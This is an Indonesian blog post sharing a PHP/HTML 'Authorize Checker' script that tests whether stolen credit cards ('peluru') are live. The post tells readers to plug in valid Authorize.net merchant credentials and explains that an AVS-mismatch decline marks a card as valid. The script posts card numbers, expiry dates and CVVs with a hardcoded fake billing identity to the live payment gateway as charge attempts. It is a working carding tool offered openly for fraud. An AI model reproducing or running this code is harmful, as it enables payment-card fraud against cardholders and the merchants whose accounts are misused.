Authorize Checker
Oleh
chmood
Berikut adalah script untuk check peluru kalian, ingat kalian harus memasukkan terlebih dahulu account authorize yang valid agar script berjalan.
apabila ada pesan Merchant Respond: The transaction has been declined because of an AVS mismatch. The address provided does not match billing address of cardholder. maka peluru itu valid.
harap digunakan dengan baik ya...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML lang='en'> <HEAD> <link href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSYltyPtTeackaocbDXM0TmxQIjlW2HOvTpesbxWPNbxerAcGmJUutr1tacLhY_IQdZHIf3OkqDwO2WtpP8MD3SnU7OWyciONN9GG6wQnHrmQV29322-RT0gFKzeS48iHXpv5-SBvDi6o/h120/indonesia.gif' rel='shortcut icon'/> <style type="text/css"> <!-- .ui-effects-transfer { border: 2px dotted gray; } body,td,th { font-family: Georgia; color: #00FF00; } body, html { background-color: #000000; padding:0; margin:0; height:100%; } h1 { font-size:250%; } .theAbs { top:0; position:absolute; } --> </style> <TITLE>Authorize Checker by ...::[BABY CORP]::...</TITLE> </HEAD> <BODY> <br><br> <div align="center"><font size="16px"> Authorize Checker by ...::[BABY CORP]::... </font> </div> <form name="payform" method="post" action="<?php $_SERVER['PHP_SELF'];?>"> <div class="maindiv" align="center"> <input name="firstname" type="hidden" value="Jonny"> <input name="lastname" type="hidden" value="Daniel"> <input name="email" type="hidden" value="[email protected]"> <input name="address" type="hidden" value="385 Homestead Ave"> <input name="city" type="hidden" value="Hartford"> <input name="state" type="hidden" value="CT"> <input name="cardholder" type="hidden" value="Jonny Daniel"> <input name="zip" type="hidden" value="06112"> <div class="rightbox"><br><br><br> <div class="leftone">Card Number</div> <div class="rightone"><input name="cardnumber" type="text" maxlength="16"></div> <div class="leftone">Expiration</div> <div class="leftone"><input name="cardyear" type="text" maxlength="4"></div> <div class="leftone">CVV Number</div> <div class="rightone"><input name="cardcvv" type="text" maxlength="4"></div> <div class="leftone">Amount</div> <div class="rightone"><input name="amount" type="text" maxlength="3" value="100"></div> <br><br><br> <div class="leftone""><input value="Pay Now" style="border:1px outset gray; width:100px;" type="submit"></div> <div class="clear"></div> </div> <br><br> </form> <?php if ($_SERVER['REQUEST_METHOD'] == "POST") { $LOGINKEY = 'CHANGE IT';// x_login $TRANSKEY = 'CHANGE IT';//x_tran_key $firstName =urlencode( $_POST['firstname']); $lastName =urlencode($_POST['lastname']); $creditCardType =urlencode( $_POST['cardtype']); $creditCardNumber = urlencode($_POST['cardnumber']); $expDateYear =urlencode( $_POST['cardyear']); $cvv2Number = urlencode($_POST['cardcvv']); $address1 = urlencode($_POST['address']); $city = urlencode($_POST['city']); $state =urlencode( $_POST['state']); $zip = urlencode($_POST['zip']); //give the actual amount below $amount = urlencode( $_POST['amount']); $currencyCode="USD"; $paymentType="Sale"; $post_values = array( "x_login" => "$LOGINKEY", "x_tran_key" => "$TRANSKEY", "x_version" => "3.1", "x_delim_data" => "TRUE", "x_delim_char" => "|", "x_relay_response" => "FALSE", //"x_market_type" => "2", "x_device_type" => "1", "x_type" => "AUTH_CAPTURE", "x_method" => "CC", "x_card_num" => $creditCardNumber, "x_exp_date" => $expDateYear, "x_card_code" => $cvv2Number, "x_amount" => $amount, "x_first_name" => $firstName, "x_last_name" => $lastName, "x_address" => $address1, "x_state" => $state, "x_response_format" => "1", "x_zip" => $zip ); $post_string = ""; foreach( $post_values as $key => $value )$post_string .= "$key=" . urlencode( $value ) . "&"; $post_string = rtrim($post_string,"& "); //for live mode use the followin url $post_url = "https://secure.authorize.net/gateway/transact.dll"; //for test use this url //$post_url = "https://test.authorize.net/gateway/transact.dll"; $request = curl_init($post_url); // initiate curl object curl_setopt($request, CURLOPT_HEADER, 0); // set to 0 to eliminate header info from response curl_setopt($request, CURLOPT_RETURNTRANSFER, 1); // Returns response data instead of TRUE(1) curl_setopt($request, CURLOPT_POSTFIELDS, $post_string); // use HTTP POST to send form data curl_setopt($request, CURLOPT_SSL_VERIFYPEER, FALSE); // uncomment this line if you get no gateway response. $post_response = curl_exec($request); // execute curl post and store results in $post_response // additional options may be required depending upon your server configuration // you can find documentation on curl options at http://www.php.net/curl_setopt curl_close ($request); // close curl object // This line takes the response and breaks it into an array using the specified delimiting character $response_array = explode($post_values["x_delim_char"],$post_response); if($response_array[0]==2||$response_array[0]==3) { //success echo '<b>Payment Failure</b>. <br>'; echo '<br><br><b>Merchant Respond</b>: '.$response_array[3]; echo '<br><br><b>Merchant CC Respond</b>: '.$response_array[5]; echo '<br><br><b>Merchant CVV Respond</b>: '.$response_array[38]; echo '<br><br>Press back button to go back to the previous page'; echo "<br><br><br><br>"; } else { $ptid = $response_array[6]; $ptidmd5 = $response_array[7]; echo "Payment Success"; echo '<br><br><b>Merchant Respond</b>: '.$response_array[3]; echo '<br><br><b>Merchant CC Respond</b>: '.$response_array[5]; echo '<br><br><b>Merchant CVV Respond</b>: '.$response_array[38]; echo "<br><br><br><br>"; } } ?> <div align="center"> <a href='http://www.babycorp.name' target='_blank'><b>BabyCorp Authorize Checker 1.0</b></a> - Copyright © 2011 - <a href="http://www.babycorp.name" target="_blank"><b>...::[BABY CORP]::...</b></a> <br /> </div> </BODY> </HTML>
Komentar